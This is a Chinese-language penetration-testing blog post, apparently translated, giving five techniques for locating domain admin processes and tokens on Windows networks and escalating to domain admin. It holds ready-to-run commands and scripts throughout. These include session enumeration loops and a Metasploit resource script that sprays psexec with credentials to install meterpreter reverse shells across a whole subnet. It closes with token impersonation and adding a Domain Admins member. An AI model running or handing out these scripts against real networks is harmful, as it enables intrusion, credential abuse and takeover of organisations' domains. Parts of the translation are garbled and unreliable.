域滲透技巧介紹
域管理程序轉移,使得滲透測試人員能夠模擬在網際網路上的域名管理員賬戶進行操作。儘管如此,在滲透測試開始之前需要確認系統中程序是否執行。在這篇博文中,我講介紹5個技巧來幫助大家去做這些事情。
本地檢測
查詢活躍的域控制器
掃描遠端系統上執行的任務
掃描遠端系統上NetBIOS資訊
PSExec掃描遠端系統上的身份驗證令牌
獲取域名管理員許可權
在大多數情況下,本篇文章關注的焦點在於識別運行於域名管理程序的系統。
以下為大部分滲透測試人員獲取域名管理許可權的過程
確定目標系統和應用程式
識別潛在的漏洞
利用漏洞獲得初始訪問
提升許可權
定位域管理程序或者獲取遠端系統上的本地身份驗證令牌
通過本地管理員的密碼Hash,破解密碼,使用mimikatz工具抓取密碼驗證執行在遠端系統上的域名管理程序
遷移域管理程序
建立一個域管理員
整個過程在大多滲透測試社群中都有提到,如果你想了解更多詳情,可以通過Google找到許多指導書,技術文章,演示視訊。在本文中,我們注重的是前面提到的定位域管理程序或者獲取遠端系統上的本地身份驗證令牌。
尋找域名管理程序
下面開始講解我承諾給大家的5個技巧。
Technique 1:本地檢測
檢測目標系統總是第一步,以下是一個使用本地命令檢測域管理程序的簡單方法。
執行以下命令獲得域管理的列表:
net group “Domain Admins” /domain
執行以下命令列出程序和程序所有者,賬戶執行的程序應該第七欄
Tasklist /v
交叉引用的任務列表和域管理員列表
在目標系統中,如果域管理程序一開始就是可用的那就好辦了,但有時候,並非我們想的那麼簡單。所以,接下來的4個技巧會幫你在遠端域系統中找出域管理程序。
Technique 2:查詢活躍的域名控制器
據我所知,這個技巧是由一個NetSPI造成的。我們需要一個方法去識別活躍域名管理程序,或者是關閉IDS進行一些掃描。最終它會出現一個簡單查詢域控制器,獲取活躍域使用者以及交叉引用域管理員列表。美中不足的是,你需要查詢所有的域控制器。下面我會提供一個基本步驟來獲取活躍域管理員。
使用LDAP查詢從 “Domain Controllers”單元收集域控制器的列表,或者使用一下命令
net group “Domain Controllers” /domain
重要提示:從單元中獲取到的域控制器的列表可信度十分高。但請記住,你應該通過列舉信任域程序並標記這些域控制器。此外你也可以通過DNS檢視
Nslookup –type=SRV _ldap._tcp.
使用LDAP查詢從”Domain Admins”獲取域管理員列表,或者使用下列命令
net group “Domain Admins” /domain
使用Netsess.exe查詢所有域控制器,獲取所有的活躍域。這是一款牛逼的工具,使用如下命令
Netsess.exe –h
交叉引用域管理員列表和活躍會話列表,來確認哪個IP地址有活躍域令牌。在安全的環境下你可能需要等待域管理員或者含有許可權的服務賬戶,然後在進行活動。下面是一個快速使用Netsess的Windows命令列指令碼,記住dcs.txt是一個域控制器列表admins.txt是一個域管理員列表。
FOR /F %i in dcs.txt do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in admins.txt DO @type sessions.txt | @findstr /I %a
我寫了一個簡單的批處理指令碼GDA,它可以使整個過程完全自動化,詳情可以看readme檔案。在Mark Beard以及Ivan Dasilva的啟發下,我還建立了一個名為GDU的指令碼進行Windows字典攻擊。如果你感興趣,可以通過點選上面的連結下載
Technique 3:掃描遠端系統上執行的任務
通常經過前面兩個技巧的摧殘,大部分情況都能攻下了。然而,我在LaNMSteR53的部落格上看到另外一種聰明的方法。如果你使用共享本地管理員帳戶執行域系統,你可以執行下面的指令碼掃描系統中的域管理任務。類似於前面提到的技巧,同樣首先需要列舉域管理員。下面的指令碼包含,ips.txt目標系統列表,names.txt域管理員列表。
FOR /F %i in ips.txt DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in names.txt DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
Technique 4:掃描遠端系統上NetBIOS資訊
一些Windows系統仍然允許使用者通過NetBIOS查詢已登入使用者,同樣也可以使用原生的nbtstat工具進行查詢
下面這個Windows命令列指令碼將掃描遠端系統活躍域管理會話。
for /F %i in ips.txt do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in admins.txt DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in ips.txt do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in admins.txt DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Technique 5:PSExec掃描遠端系統上的身份驗證令牌
安裝Metasploit 3.5或更高版本
將下面指令碼複製到一個文字檔案並儲存到Metasploit目錄,命名為psexec_spray.rc.
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules using multi handler set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff - range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines“c:systems.txt” require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.newrhosts iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single"set RHOST #{rhost}" #-j-z send the session to the background self.run_single"exploit -j -z" end
更新smbuser和smbpass引數
輸入以下命令執行指令碼,psexec_spray.rc指令碼使用所提供的憑據在所有存在於192.168.1.0/24的系統中盲目安裝meterpreter shells
msfconsole –r psexec_spray.rc
你可以使用Metasploit的token_hunter模組識別域管理令牌
建立一個包含域管理員列表的檔案: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
載入token_hunter模組
msfconsole msf> load token_hunter
執行token_hunter列出域管理令牌
msf> token_hunt_user -f /tmp/domain-admin.txt
另外,你可以使用下面的命令來獲得當前登入使用者的列表
Sessions –s loggedin
What Now?
如果你已經有一個meterpreter會話,你可以用進入隱身模式來冒充域管理員或者新增一個新的管理員。
在meterpreter會話中載入隱身模式
load incongnito
嘗試新增一個域管理員:
add_user -h
add_group ""Domain Admins"" -h
資料庫安全漏洞分析